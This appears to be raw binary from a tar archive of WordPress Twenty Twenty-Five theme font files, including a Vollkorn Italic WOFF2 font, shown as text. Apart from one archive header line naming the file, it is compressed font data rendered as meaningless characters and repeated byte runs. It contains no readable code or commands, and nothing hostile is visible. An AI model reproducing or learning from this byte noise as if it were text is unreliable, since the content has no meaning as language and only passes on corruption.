Z!az-vHZ]sp,gGc|2ʦZrJ;^ߺ𭩒+7\@=ޟ)%pقQ[dϦp͓|lR)!?Z/JŝKt&$xnIbəbdhˑ^s^0IK"at?%Ffɔ,H+V8`9MkC+L` PEV?1!fX16X!ʏPR#,c,A4 _cStW+IѤBJP}l\xdO76bTrerE~:"h*&C4m YΙ=QYG(Łw- Ip1F>ȫKg*=]]ꊷc" _'Vw2u! e EaX>% DzFt <5!KiCBw"qToS !|T)2 (~)y7{dJBN5>0ڸ$Z?8ݖ&rkN>XM[s3oyӨq- &y5ܺ-kf DdpK6dz;w +mDpyL r,(#o\FT \NsEˁȳ|{gAZAϫPێtyVarBXXCYu>{Y"?ս:S8 !JS, ?hʹLoLRbY{64|1 oqMpBдa|lY6H͂2KAւL# OQԪ8+(/elĈhк*-1F{;lj):8W`PS ' -㵋7O=GOls&L/ϴ^nvLJn*:bx:k^'bA3]|#C#{JT7D Q_3sp;\n*iR. "&B}fA)39YgQ9n癢|K5;W`42YqyTA;DT?DLB舓{)t鵌^ޢq}ng;?Ba<|6 [jYԙ'ad5ڝA˶Πw8w e hw|Qql-%rG QYQNļޑQW0d9K&/mݒd} z Hj|X¶ ;Y G%%~&<aC@nCIϺ_~wIlR>DZh]\W+ӟ,!2NU`(Tbfήl~8`\~`[iOtFZSD9m)F_Аȵj11Wλ4} :#Q8,FYafQY•!8FhSZRAIzvmuǖ}P3;~$f5~,_zBLDKxr2O92|[+9e[ hbHIa]k/A ͭUjj;},!:OJX?>PUPS;i1lr?{ޛWB"%Iߍ~mKS߯v=q3$϶8ǧ}jKh 㠦6ϵvB pR:xҫqh/9"DWM5茕l@Yl`CDŴ[F7o soݟO4Kېjo3Q/q ^2RPX%sCqҳ}(b31dzZ8WI=7zRS 8QG{KL|CdȞw|1 ; ]@ag+DkJ䵯β:QD3\26sWB4!QMKG$ѣ3;p=!ueѐq[X3`à$( Si>(^`~d0\Ymk*b΍ mA PCi"r@ 3bdFXOm/eWZU+mbN%)f\E\@}Fk7‹^s݁ݩmwhX.([5pt3nTGBefO[DEHIS kiykP͑\X]%Q,n% س9sr"1m;C=s=0&Uei5)">֚bԜvE *9X'WxT|rвJA#`$8oj ցE ZENJmcVk)}aY 淞fW\Ka ;#lXslu.¶Ο~Ekӷ^jSb#үc#!1c)T*XF6$Lw0]#owM^VcLaST3h# 3arӹ9B::x~F`rܭ͞;m8 Zc+r.qsVSP`~hH5~{@c`z!eD  ;l) Ԭa^NxM*Hz|º`pB^ P+˱G4ޗxɞ9:#*,b^0k4.j )|mKSo J `D&Jy^ ~SC(44@(98f.j6r$7(LCbER ܀'HNCgV\]T@ֳvT[5l~:Opv+N^d+Y/s>1r+O7B0x h+ax~aeY#Vwȫq 7FsͬT qRen$n=xs'(쮱I S. n%U0V0Sve[kw|dLf97-ڷS*0ͅr5` NLnwg@BcXܫ\Ve,+'Ap)Z@SV^S5.bZ<,kR įuT^xrwk;yu۫is$FDSmml_ׂ*kR`~$>Iq,^"XkEYS:=C|dGFcC_My丹#/dj䫞yqjrÜs}j3ݵs9RztkËO_q^@Tm)}׺[')Vbhs(ei^}^"JK驲UzSrHqжI`J

    A?Bgzle7.a$:?Ջ3jwvhMƘ$7pkˇl!x3l;rBui4;f)(GtHYe󀷰fR!E&w^YҭTS?h_PgG#2Ļ}N\|==^Wu8Q:؍+QV>)DAՈh !XO-tLdJ۸`|W;7ESR LaCHhPaֺ3²S8K! NU-ðl)4q뀒B%a(]j%YIu+_,DLy:2IppvBcultl?7/K,4oݑ/yTŏkD I7"ʹƵ5uHȡ R+u+jVj+ͷgWz?>|Әu[粓ouC[F[qqWc|#\tt9]!ղ1q<}l||c%h>!,in%PxTό2ݳFP{5X:W5RI t<K!D~e.8Be5ƎY`MWg#O"tGb= 5P*&R4kq+[a@}4yg&~v˒ eDS$;Op5@myN,_S J:%.Z3%OɐPLɑTZ0e2H)#R”R11=5i0N!k*a N2%B9dPLL̓~JKA}V}OEli>&#?|E6$SE r.$J=*OP0G8#Q)j'Wt5xwFp+)/=%nq/0M]!w%2ߕ`d-JPOΰ]S0G+TNYj3ګͮk%WZ.BBmU^b7Llüd @'*H@im *Շ0h`ΧHu0AKe تעқeOAGzh?9,Yݜ*~Tw4NNIҿl*NmWt_ZnjsJ ]e+i5 2[Նėb}qS(-,c\H~ C`cs]Ŏ %V5.o>[w}nj ʂr*vX?nVي*co}#Vٚ%H̥F} „QU Ӳ04ˋ 4]?  ՚hɌ[tôl02QoZN \<5~n=zy|VV' J ~n=zy|VVap!a5u8ZB#!J$eEafKnî=ev\Oz ,O *5FL_ %R\T5Z`4A`Gpҿjkd]EJhh : DBLB$R\C# q]; gJIKsT0a_F-+:߷n0SKEEޗ+9tO U)1q$F kC'#}1]"x?P?+nz=آ2vQ׆%o?'>)fz4*~у҈ؒ -ogҢF\X|z]]Yb _{,}}m^"-4>8쯈y/>V(7b%PR3%-ۥ(i%*q&q҃Egg0ec:/;V8m7p[pxTs/T86:̶"Ʊ!693IPHJ΀1;Jcsb1xl,, ə jk6YT86n`mR`ck'1T4Sf}&rz:Q2kpі,F"ӊŊu4Ѱ$G#H(=RU> ļ:4Q#6';Y5yԢ+RaioR~J[c|[Ahl_a*tOs&!X=3hjl0, "L* BY܀Q&&M1@ em2[A8-@ ¤\tI! eZkcXmzb6cbI,swz?{hxD1P,7эќB*&y`IA7)^U!e;>J nZC$/ΞA)$~ aBAlL`^0oB S`<vlN@K8眏K0 W=(v8sIpGzьѤK O1aED~ac/]ϑ6g~s8:ϻr^+ak2n#*RrGY H!샇? #תR[ԇ e]w+K[wöQ-؏%X4c9-$Ӥ/Zdby阞&NV x}` ӭ܏#܍}ba}7A  `T$xEb\~+'- GȦdkv93HlQR4(H 2v:+H+!i0jq(Kl_ʫmY) pulMi _k%O9Kya:цU9Ygc/wL [;K&KXe9eӒmhA֐'_cj$,kkx.248/a0k:" nwwZ 7y6N#,PȚcYtnˋPm33E!uȪ9ee8(YhLKЖwQ{X0|.od^Ct܄Nul4kZ?Է^6C[S7G۪ @e!C*لjIijmFTF[[e뎪:Cǥ#BʣaeG*g;ޮ%3d ũ[8SynEtZڴGm1q$oE[om]5ݞifm^:jpC糟Mt %s-|zMf|?-^ y Xp> -뛈PTG4{@pbo: D6^X`_f%tE+-`SGi~0B #;["^Se5@tg4u\:75PƅT8\--)AнGK!)l_ypJ%}^ŇHSK|KU;]\HNH;z'#{KF$w:(ES&2{=`DXsEnXLsFsӝgf.}C59Z{t=/6 sKq` $UC𜓬 $T ."2 1ں*Rl@ -Me57% o\ڥM:o<"0%q!U >R ?`swaP-fA6j=ZNh{C ԁ7#ӝÇOFVU>F cxCgg#01YpIޚx7Xق)'s떶.-Ghΰdz.>:ꚘYn#))b"ge%Nd vL*Q<ܭҜv xg =g@ ek!4(O}QCeϢ&H6pD!QNw= %J i5#5v{$R(ױh$Dהgtu7Q @EHB"r$D"HtCgbQI#O18G+E^]jN_wEpn ]:V?BhO Rѿ}URXU5l ??LIt0󷺝.('sM\|" D0Qu ;40Ÿ> VQ՞mbsgTXeAchUAS~ùQL_Wt$$ywTzAX^L_:q٪=e'#È6+SwЌ$%63Cel3I\bp ` ><ڋ@pbK9s~AGQjoXQ.I eł )A,N,Ǡ Qiѕ@h ܝv@A"њ %}m'С)<.h1.֩( JgFh]2w1b`Q![6NFfOH9Lx  kz/FQBS mn L’E֙PƀV2~TЇŰ\:f-AYέ)}Òdr`.-I2svQ ߭NV胸[cri>k m$g_ҶFxJNz]'uL?n"o^|#^ף1JLhF&"{}tJBbe%tMi|F]{/Δ]'оC'yL, Һ G`}teTA -NB |M5S"](6{3:;~AU3${W{F~[8QxJԴL`{w1ϩ_ethemes/twentytwentyfive/assets/fonts/vollkorn/Vollkorn-Italic-VariableFont_wght.woff2000064400000477030152335264760025422 0ustar00wOF2~}\p?HVARN`?STAT '&/` @ H0(6$B $x [Lddo(tcN0=,x/BJ-#dOS@sZө 7 ф\/gKɏЭ3 34PTԫϋ@a \h5AB 6Tp N5EZ0ED9 kmtEG!@qX` B`Ꚓ8"DS`JɉY~!p=6ģK;h33Fk?0a5V#N[^cS-a*=/WxQ]`Y࢜9" 2^8*!Q9ǀQbW4%ƈZLrP*-&if?JnRS? NA"`n<4> ?sI~a$!d ajqQZK-ZhR 16vXZDڹoY{K3ՕgABr(,Bf!y?d;gsVFDصS5JiXݴvUԩ+F mݥZ4؏0LtVc$hcT@r:#c6J* %$[R0Hk=ւ썒KU޽G;nr}`C*Šꘌ#'DE{+]_Iխtk뺽t.]׭$YIV$IV$IVVd%++IVV$YI$I<<ܑ EC/s|m@(c6vp"ƺO<@<$anЧ3 lr%Eۧ<7t<>]0BSUҜZ (c]p7Ϧ 3Jy'3%ӣ6U]S`\c'eaYlӴ'3Se:nڡe "1sDZ[1McFӕ&fM:2I׷Mw|`wns-qgJRHGHcZS0{u}7!/ΥUel4X;$($(EX- ۙ{ €3lj-r`B_fvg_#"3dUdu4<_N&PH@3FȶdcI{io[< A2XnЙZbUC!?ͮ.Pt(Jrq&;.K$3L_w?:@GLR Jl565%Q s\mwh }y" |^ktfb U*k?:;@ݡ@0H\~%ҀPqap.`_+Id6F3U/W(YE9HP84c%0Iwn˜A3MFOZf9(4 rA4 x/2/f @8I2IN/'$X޳U2AyS7.<+8lנ3*5vc, 08j ZFlgbμ*I~Y~̈D ?LTAfn{}6drwĉ뾀BU<`<>gzeRArdC .L)e?W'.G*LJI%p8a WL+K_'oYHRk3)8fwH{aS/ yU-e(jb0fIf $[eewUW4L.h(>\ --BңPCR*JRTZ*Ue'.K&BH%!KS.wkVbNx^dG;4)dsh ׭HdG$ɤ- Ɋ%ymz_={EĬybHLd"PW?S&}IWB+B#4 4ZxϾA}((ҴMPjiJT>_*Q}uaZOC6Kl}h aJ3dJ ({7&Q(H "(c[juB\5i~2gL68ix皂+^斋§~Rh*Fw-7Z$dRn7l+S xI T,T}zXÂhveȌ4o]R<@=BPB6l~-h(/+vEyw,K=gG;4%IKWId9`X"|6`Ixprj2)JIQ-^U#^D1ESZ6Yi 3ꬃin^ =q$Hl@<;n t [1X9U)ꁍȄLwXSc 6 Ķ@hľ@hġAh@%2`5v?H(R*4kp:\ 9 B#a#11r`/-pT;p] nB J.Q A&&_rn[%xNu*q'112021\+Ĵk<d oIYBmV_|_kx6`@$aaQGZ>sAˁi-Qh#cH ZI0ókTT\ѓLE L1KqgU4D ]1K_a@itGf7ˣ;fy1g\Hu>Ą0 YU*h]ưl丞QY.U@bQt@,NͰ/nF:򢬚w0/ׇ@ AC=BvC?đ{\,<2P- O7@ECn[\B53P 1`' M\fZbv|F@"SFzG%()RA"udiOޔ*WFF 68ŖŋEkK9(93^H(Kq_}Kou 볤눴٨FncF#鮒QNtZC~0S1 _8hxpB8%@3_%sg /t&rɧ[WZyT&hD_ֻˢd G[lorIg\puns'ͫ g ʒkhjl8lܮ=<8V?/f{3=ʑ"@ZÌ6a'3 )RNF4H+n&}I3QTBv~9;D^qNze]k['P=]}; fZ1\ 4LL՟-VcijÌ8N?A’GQ,$c!(\)RbtNqQ U2]5VNM+un_~hS;ׁ%#9eKXʲX*!Ա,f)X 5.r[qۉ8U!م!5 YWGR0鈸j$M}R9C-9k?sz?>ӓX"%!C)z\o@3iD V8[4| & "9c#K ;)osm#8; })( W|pR<-w>'ۖ01o`i)WD83"oP˵>KDrfR8j$[[z \){3lMұi 78jF^XXne<$ N뎥Hʑ9%SP,`UduBD,YD@ I`E.|r MRL]lT7}ᅩ5Pb2^ _ѪX˦v ֞رΗp}ǁGv-/ . Ҩ́~͏=S 2M„cT(H0Ay-{k>O`x*+=YxZu.yg_8e}13[&v36lRha-S0#Ĵ h_8V֔q|xzJSGD'.19\ V.[&N<%s\4bOeރvA,HP`un!IƷסQy\+̠BtAewF\+¸dIܛp22ϭ#ً+`ȔA{Bi)"C5z&w].B3b+Sb+ڙ¡?z'j}zEVû>4K%x#7-:&-LAOx8{\t_!#˭ /-lr=(080ĠԥeuGֹHsP])>СUA}# բئ\=þcɦfcϱ=>$ە^3\'`{?ң*"- #MDIB~ acoU?>p` F79H(P3XY63 ιW*W,R/J#txSM{.EQff@ 9'/>bLz&6\[x<(l ]_+mǏOZ3v茶Un@cϾW na͉[ vQB9Ră=H0#za@ @ DWϙ/3O+.| 9IdnتF|ŀ.|}/Wj-MI*5iH`=0RgYpŹW[n]k;IO_DBpY"ݩNt[N|duGNԼlG2EC=svdp$YܗDĢtD*UKBg:Cr8.bG]9CG7+9W'DUgQVu65ai8T>HS)%kgFQG~ˊvƩƒiB`њVF|Dy^KXyVgL>E[?[?"DcdQNZ93<8T8KLDr4_8\Vتhn7$n3A~&1֎ķQN'&3o#)(!_4f/JjK#0Wʆ_ #*)ˎeD22t P6؇ Hm/ف:Jq֧+9qS n^s, ߝу, /i%9>4=O DOo,ȨX{E~Ck:w!᩹Jy֤xPoV]1nt)X$jN ?;gcXq9()eb;0V^}JUƚ7?1ajtnGZ{$%-gk9;\d5%t (Q[sѲBNϔ /./:Uiɴ"^ =Oa.NzɒB8CfO-=)B mIIp;] < @UHҭiWMV  ouF#:yP =dN^Y UZsԨiuC_nuX_D>0W\ϝ[\̽NM͉߰gbi17C¥Z{l7OrCݗc`Ɏ?m F x]wkZ].S>E/;/&Jډ-bUTE9ht}faXSՌD,W2*܍*G:CW}KX5u-g3/#W apV6/eh_tRu !IDW>MtC%_q)- q*c^hHCՀds yQmb_jhտ70(U0Ivf\4g*QʈuU1R- 3VDf9o!<\VRAD%ߎ.HB$9|!ݥpdAa9AWnV[M~[u="NfVU:JTK,RW<:˳4(ۊQ 塔.DN4؄0XQ6DyeIzdJ:ns%mԲ菬k!Ay%Гm,BCUw("a"4^I,{r}=#Pކٟ9[L s̛a1zONIoډZ E߭~3b3\~=2MMĬ2 ¸7xSn:L˴ө`&λB]7nH<J%S,͗UνY\7l)]d2KlNS-2T4evM&v* F;= i\(8'!Kz"}ƥcȘlo>iMz c9;ev}k\']"%r)GXWvsTVOԪT# ۺjw{umx>u\[`~>Aau$M*Fo|Pr\&EFh,/W =>Z@?7oIk7T \eDY;߿^ewDښ4&hax>ȌrPtYKHh=ʓ`-6=^C7YԅZG*.&`X_qG"u-HY=qNOS廢u]a4mp@F I.-ed稓~^UBjC#]9@/6َ_Vh=E`d X==jwNsj)( '5IP.H3Fmg7À2om1ݽ}j2'áIݑ. Od֏U2cF}CL{l@׎@95%teaa<7%KGy퉮9p+9'[Ty@_Q)녲Қ$ 3yC{FІx x θ/BlWXz4qԀKum}^{jj7x҃f}{~IM:T cA;`hɉy99Âl<;꒞ 2tWPI' X,s;Lo1rZ+u7+^vqz$M>B2ѓvonܤF1vb+]FAU>twAҢým&X_mU4Cl5ro'sK]AewX8J5;6CdT \˔dR sTOqOl;S~]# UE{i:[u)2tyϮ,T̵OH@ѵ3!LY}ՌBhVBaٗ2.A:q*=r@Ʀ|J!]~?U'09*y,Ĩ p)ް$IZˆzWD#Sm)jE0d{E[ҁ RyG70vbrm P)dSoQg3X0k5ȵQظ:ˆJɆ_%*ܱs#Oq>%i3)c؜ǬGX 3dG4HoK'=2zytkhӢ|YŽo4 SĀ?#/t q3e 0M#槙cdsNZa|fj=>,JT|4i[bܑB >:PbB;DScB6mt) >pj" R!i>籭mh/uI/t[s3gr:xr[i!L@;Ɗ䆺?8rol'QO+@')E1*4" (W B(f yRšֵ-w)cK@kKcONŮG-Ryg߷=FѨF̩yڇ<ʯ~RkՅO1ޙIjY5%^2}y]=yycկhX/W֜XJ@$lC-c˄^y.B SP҃ dTH@{U P9G;BSi~ XA %y3Waժ7nsi@gë쫭hQoh U_BvtV%HK䴀KUߔP/8%S:x*F_Ny`~F6׬l6fR6E!`@B{Nj"N !濂G *R#J~M/v: s5HtǬ8I6rCv6 9j槑vkQ3b8mX,Lh:@Ƭ!67=|N6onI)D~3dͫW<*h ՊvZHW wFMF72:ʚPw3+9gF$Q>HkX*hcKc4 Yߊyxt7T`]V'WSy4n]/B*뤈돩Sey[akNވmWJY-i|GbPa b+ؙL g.03 ;Xl'xz*@ kL#B4im-+_YnMNEY{eh`v0y K)3xM#"o5.z}ШACz~׫cWͿAפsNj0β^POrz"Vw YoQ&ZF)D Dt2PrB[@WOP-PD={Ur\`|k袦'C, +elx!4X5׼u:4A- HHqV(BRg,$`@sݞ~Оn O$cYpl#bؐNf{c+.Yqmsl^7YYZke ?lRgN4GJk5Ѹւ?|f*Y4rљТ.G|I?#9͔EebZB#RJ?ҸeD,ץA~{ EVjsSܜ(;?e Ϲ +Zc^Ucq6oh|[;B8s򸓶F6Fo(llߦ-Hm>ؘ-|kx9磉E3G.$ebs՛}{7!k7t>yo}^@<; pzoڠrBjtBL??>t"JhSCZh绥Do~ǍeF3y$Xj7[KƧ<zCrw.QGݸj6LsLCv`sjoo.8f/RP|9Q:8aA5:[ndϳzV5X$A\C;9:W&+p9;@Tڲ Ժ2"F9INAJ}XJHZڈqz*;dЀI&Ml-O6Dh-H4Bbtc uIDP2љ,6.T(UjOΜLht& JڲӕqNW:ATFgظPT-vU7,Ba:j n'\܇3cjvV"7]-Ұ6Nf:Hu5Ap{7y 9'+)sj`{Wcު=ݬ8\$!(Jk\`(%\;K-cu=/TMOSP4rdvRD8000000000^10c Y Ӳ&@xAdn@jl,Ͱr>  $+UwIE3,4v[ zQ$̞;JhF_~T"[^%YKǛ9P4r#Y8/Tc̝sBfX&g@w=(JYn*dr3 E3,{ N?"?o DIVJe6&̽xkǀ몘P)?9P@bBJq8\B659T YR."!S#G3h񍋰ujYa~hd=T] #($EWaXDI.7O寧k`pvr Jr;r[vC1 »+/Tͫ۶1N~|hXr@FP 'HfXDIVTM7Lˮv#m.!A1 )a9^%YQ50-' \nB0b8AR4r JjaZv. NͰ/n]g=c #($E3, $+e:p=I (ɊiuiMC`phxAdEtô:Wlmr=I (ɊiuآV\nB0b8AR4r JjaZvzժ]r{ QU Ӳ,V #($E3, $+eY\.!A1 )a9^%YQ50-ubP [;C긮N޺z`p0, $W"^۶E}ុ<A1 )a9^%YQ50-b, տ@.`P0pH(hX8-5W;.wtYzm͍ܚÏk< V$DԻq>!A1 )a9^%YQ50-`'.!A1 )a9^%YQ50-W>caɍ ՚?q+0|!A1 )a9^%YQ50-XM%4Ż!A1 )a9^%YQ50-΃"G틎 D1X@$)TZyx?ݪT™$ JR"rkÎ'(amt3?>PONͰ/n]gnOwE3l|Jc# *k?xMǺz`p0, $WuhFoQ&gu:ذeێ]?VsK'G]5QnGln'l̝}4z% [a9?D/o```Az`it9#FMCKGu;| #($E3,wsxAdEtô:f}SE3,g"@xAdw\@ IG (UvnUP4ÖˇiM"e(J{߸t8dh~Dx DIVn|pcTu=B0b8ARto+{f0, $WӉƠ! 7anaiemc[Ef wrfS:IGr Jr|3I E3l|( t ½g $+Ur?kAH}C 6* xA*Fpzh-OhwA@TjMDIVƗ*uދƙwt29X7T]N}9 `XDI2?J:E3,7k v JR5wm7q_M #($E /\e5(a]7I JR5(nrmJ#Qu 6yOꐁa9^%wݰon_LBEuR^xU O!+-2(T40Ys !A1 )a $+ey0eu7SͰ*M*(JWIĸ~NG?UIGr} xA*͈Ɖ\cMD@xAdQ1E?}HT`pb!u# xA*u7|h-j[͞ "(Ju"ZX6x?#Qu Er JrNjIՁ@0UtjO䓚o@E 1]A(vg5D8K# `ϮxJ|QF6kӕ9F C?wT?t ѥ23H5HU GԔ~Ìﱘ\op?Awu/QofVZyx>Xij-vso #($Ev /\rj frys Yf4^%YTs?RJ.C*jy>_Qjf--58'~X #($E_ xA*8e8O@H)TdWpH, J՝CdXmv`;ATFgظPT-vvfU<} =z(n￲M5d3r{K6`phxAdEtôl 5qäUa˶~?O#($EYa9^%`L h0\XEMvyV^zy~^53$(w݉ѓă&RL-䔳"|cIa?+OVwߕ} ԥ^;܍@y>n4EE;~4'ҫ^h]uxMNO86ʹ"!! $88']ɐ'o2))ǧz#Ѡa5O6=#3flJ=FwͺAsy{A{qSSf)i-ݳ^vy={G>OMZ&@nl[q Ipגr.P ͯ۱dibb۳jma-x+5,oȪ fhͰ.F@~2^%Y9[c>W[0p^oUT1X@$5ddbꎻ+KPi@f` 6bԘA`,NͰ\%B1$YQ50-ޛ8]v8:`pi_7mQO&N=1X!},6Q)Pˆ68"fՋDV 4g9>j 'y"3|vI]y*t0ڤ3H-q}zܼǯ폽 ; eoZ rpbK{E|f>N㶒AˬG1o1W]MproQ֥\I-ROfrbKX!ńIZ홬iyV:\xe(8+϶CeS[?oWfr%7Vq R+~'`"eYwεb?&m~#tL w"+y'p!>5k#o~L-GdjU@r |nw"*_Vijjjxt^?AR##D襧Wrx y>6gs`Ӄԩdu!Vhw#(hsFԯ^JCʔ>5+"g)c̾'[].-u6x&!͕ WP51ՊE, 1ck325ўC])mɶb%ZOywjDuZC mEH\\k)aGij~B-){ᜄoʉZ1\ArΰS;ҢA5Cď}z+(ܿKcFq"zIj(y϶Cq%+K;+yia21W|"]"ES1 FJ^}R;A `ӭUrmyOI4zZb:i4K0+Nvq,==6c5phȰ&>q\f0֮ݬIyza<0A~Ms폤y;.y1@SMYaFj~"! 8D/sE&&4G\Q{# r2V..+#ET~K:'BZGxD3"1/\LT?gx׵O>9 «勶Vɪzkݶ{kmqBJEmtWY)RVw iRvW~[z۶}YY1kY[З|*h8;Q,ӴЮsV5fRڄov}nCu&P"#;4䬒=J]|a/5|).  zE~'ٙ&2R҇zyel[p5qQt^(;@?r%ε |}a}yӇʞ<6N4sQcL"3yױR#6{fU?􇽭W{~-2pįkѸjoװʔ`Ffy:Vߧ3_IC _{OfM,댒zg+g{-+E9~XEP5e1R3Ѯw՗?g-y{M%Yq Ibw2w{>=I>SpcdPk@EJ~5GFOc̭$扲~35CZekb }u jI&E'XE/Y_l{e$r6 #TeZƵ$,W$(x.`e$ V6GVZYT4$l?J, n=OF` TO{[Ap?ŲZ+m35![Jhzz.xWvɑXOޛvnӝ=?4~>x+xƣZ/T'㒝ץ}]sE\ GW1-thwy'P<>:/E;{NwW?_q~'~KW r[I9.|V> z(@ X$!l@eSA P8uNҢm 4(XG0C2h8)q#\qlC` /p= xg(*Y’W^lÒ_~l O@54 K#òuJN*r΅WñԘ`)Oŧ%1SU3jOdduEqXV!IQzI T/%5Q_R|ZZSP h@yk~:7nM֝-m=y{Alc6"ujQb@d+uQ;yb%P_!v5J7{Pt=>*,6Do9]uW3K{O)@šeͫ7pQQ71HQ)O~&F5BTw(SAPuۼCӮt5$ԍׄSQndRS}O<-S4]W4WO|"X`(sp0 @cP@<(PQK%10#$] .~D!aJDH\4%#(R$ibj\ۥ#AYclsQ|c% 8*(&8 v9v8B7;)͹(.\K\VDU%hqlY U"f&-9(c*DrʳvY)ȧe2\딘y c0&4-ېY2w0-Hn1,V$weljBF{*뙸p\/$zF-Ҹ˒ `L5>IYoR5~OYB `HU ;=NA\,2e%OLH(\YIH2f/?19yz ( a>-be4yH) 8'P7D!z"q@048Iƈv8)R̀jP1Owy&]wNjqMqo䴷 Üv;p]Gq;Gf'F&HIdVT(_Ȯ ` `Kn l[6 $$lnIK* s '@t& 2W Sa3oh}cqO=gfD!bUk}o68p~ghWX-[GɒaR7My|%`'ST,Y*+K/@0f  g#<`#\RM̓,gRV2C]<"π̘fm 3 aQ @lr‹K3İᛰqM%2%ǀROC"#1UPF†$6(6FA!|1/BRYoT{H_Q>i pf0g,9ZSd?PS-|=A5\iXj?l/r TaFyiWZbh؃ɒ )-Âq= hrht>l(@9b eH JS"HbDb.p%˙_!„H9nyD,г6z#>sQ GcñgDW[bJhHi?qeMs(XԭC:tЭ.#͒ͭVfM>\ n4j1˞@8FφI6dw;N}ȆOO<$8nfL&nR!  =M5KB7 =!&VLT6P;QNgqβqC" 0 % %9H~#KB}Lw@~ͭ#X9/ˡy Bys3<+7H08ʝ'xh@0%=8x)*KLrKBETN$Ӑ~3I:J݁*dӐ~/])wl<[V{MͶGfIL7M چΜ4m8/ th7>9[?ѲQD шs#x @8\|CnŜ ,ztGxxgG_Q{ Tzŧi*-.VoJ`;<1lW5bv 9% IqC W%$'xJGŸC!OK5Ku @5 BWo7hxeH @DAAH'B*DIj*߱^:5_M ÉgH=UFOtW`tҞ=Q{/{ݼݞYVBCۥ]Ż"v:'egϜe[=W5=:rەoρڊCxNj]txs&XODX??oL$Yt3?&pr!k#,Gshc5N~ŹEOLaw~5hG3|XW>0X@$)TLpy|P$HerR֘[XZY;`qxId:Y?v7n޺=>195=3;7x>z< &D,*}44Xa;qfUUSZkQ-oX}ŨBà! Ʉ+CS-TL,$2[`;ѩ73kKdCuϮs88A`jD!!BFoGʷk]yw_Pd3ʼr&χW _HZl~٧5аɆFv'}(>eyܰHk? 'vxC. 4t -"8'VweF(YQkW (cxh$uSV*Adg1]qlvK m3xqyhz2]h/ƏmpN/z)r&8UJԮJT٧,~ޝq`0-}僠_1X{8>͛%*v/?(L*>c8yۤDWG8V3o(>wQĕ#GҎ> bb0 G(P"tfDc(,MM/hY#|Ѵf)Px:GE2_1-ڡ"ܚgCED tk 1sn8!pSKn!K%B9Tn,A5s{</x'蠋`1&bNqK\wg _Elؒc߁#5O* M 70bL"ϜpʵC#c*-%R% heˈ7Łj7L1{x oh\vhleu7o}VOHLJI(%Ry1U ߩ;Ud׃p>/~`"itr4nC=,f-vsͷrY$LX׀e/mM+C)6Q̃ecL gժR@T~̨h-0=yȻW/b%.7 ^7[d^U*G:a;sVʿeN;:Y<;5Fj (8qlLvs&ebVn6*EVv/I:luu$O~n7>+-BCsdYFO{% k4Il̗N6q󛊵c;!_$^jFNgp\/{<dP'24 m 1-ݼo%,qIHԴ̬bK,ULr+TTJjkԬUNzuF+F[_1hHk}sM5L5B-J sRp#(zԣN}Ӟg?mo&OYpYt3fZhc1ˑ(5hhAw$ ivU̠!F g<әCқu%W?jlNX",c|FvM'z T7g_M=fĵ}.7: }Lo &E9ڎ#~E:ͶR{j0;H޺肫 ժPZnƊnP( McdUn(6V6ͷa.pDܞްpKhh"|~(Բ w$7O[o['j'kl;-m,4LUgUcT V*J))I6+lRLUTkc4B(Qȶ+**4@P;J~)Uf Bw.>}X7l3M|CSY52 B-cerchL#{iO0[\kDcUr;+}:otDbWJaަ#}4Q5jթר3RrЮL2Ë"-T=nB)Ȕ i-r#" 0(8Jʣ ZZ ڢڣB#(b#qG`yذlrUNLqg|J*PB:V.B#WBNS[GvNn6Am '*bhZ+`dvڎ}5EY;[2#Q2BJϬ;.i=&`\TT2U=̢1C+cU ,ișLIϣR qNiY]jH0XAo:KFd-y'-*OLA/1m-3KSpveNkqh0{L8?@AA*YVl.I-84$;Zd_9jPq(~RWW'v̔u7j"7[AUJC0*2rZSz$ws[ѐs3ARF%E=su܌5&IARma''Q3\[f#w̕uҽ_GpqZO֚`/kH!ĊfvW )CJ Yac袚0!KBk֟W/ "ݏ5d[u5M#՚J1"ft6<& #C{]pp`B}N%.]v㶐L-o{>𡏄).!3PZd|X";ٻ.19"0{lFxVr@kR?_7,ہ~ @иo:&롳0~x IC1=kTL:4x ̀LLOf͆m٘lst.ft|Ab.y<0.ϠK1@r 9΅9 @W`NZWh>-4A hLh1 bBK0Y@7pݎ! jZ#|'C[*6Y A;wKhvd>uea S<P'G=DC1@oo]8)zC`@Gry#83+ ;~X yC~7,BKr ? @X`\67x=0La|p;`0AXI05Mä>"aҐ++|#VL6Bvd"+*4dgab0&)btL S:.{UwT`/juh+x Y'0vnɵ yȗB)B*yRjnQZnS-G}&M}>4qC@R?a5 6u[3 & ( Aø kAxxDDt Uzqp%u) g))vKܸȝAZn҅w(sc`˗܀! ((D  %i$'d2BRbl8Ϲ\K~Y{!߂)Œo)uaEf=xkxnx 0~̇?%!H;N]p \u}ԇH6!⇈DSz*1bP8 ^z) x lDB?B2 #MJ#HcS(2 4,ռ98޲r\@?F>}G?E!@ҴpgI$DrH&BqDFsLpdrfq< ~|`Ph%A?dE[UN*`]3:l]wЪYmڵ;CBN7҅ԭۍzu>}h,$1`- bjanu#4bbp$.))ix z"=$^ s`=fϸNNrqʐv7d2,[w˕)ERv>~br0`$@~0 a (L^FqP20,D$U`9 Ԁ%IRQV.EcX&za:u)/Qg0~ÍߘKb%,XFrW[xڌUk`-1:atl.}B&> =b<|B)4 -VK 70` Ʒ0`O=N$H 2`"n=0`/>X>p !0~ ?qd跣`'؃NN$8GqL Y2sp,.I\$spL b`؍#qpB”H# *mGJ}PP覤<4N=O DG`Qʤa;1o a{ ( ]egW%Bo ha+PI ߋnuc lo4vEg쵗A>Za9aqc&8FPb*@a#>i0:>>fI܈22Rh<,$  q QVc{{cin[|ѫǜ3W ~/\v0]7l<%`T .7 B%$((2aa@@ |PQ% S؂qpT[B@P-@bbI$$II9DCln܄sn-0<kY,_ G"++  6 f0l6W x/sZP0JV+x7gl߹r#M5pm0r_jSϯ>>:=Vtlfl=O ^URרdeozmPbb 6elY>]!`V|Uk8q {; 5 zHzKR-. v*Z x(_kYXx{[gcM6}3.u+Ʀ1lgL,wZVidbTҙз\56~;\PZЅ1} ls\&[gܚ0u,YSVhֶ$Ke[Y`oT]h,žmo[ {fo+ػշ\U'd@TZPK4fLæmjJlUz x_Y=̰%ٕ',g T?B\P 9Dȫ6EGSB;#5'|MfpW>唓 3ǔylu=}~#ޙ*k#_r ;xK/g;L r1ڄ;(ܹ&39eQ(S,M_ Z㗄 *pqV̊S kX*ֲMa,{;[_vv#޳~zD(.t=W~ -#:~Xt::+)v8(ci.eʼnRՠjRuyNѩ58&wVOrny5ܤ:\XK ۰9  jZ,ӣqCڛrH)6 GFJ6+,Î6b{8/:})hGYp#S~I˯tFmq|.*/eZy5^AS;Qp( n+nN3j6{.7Z'\hI 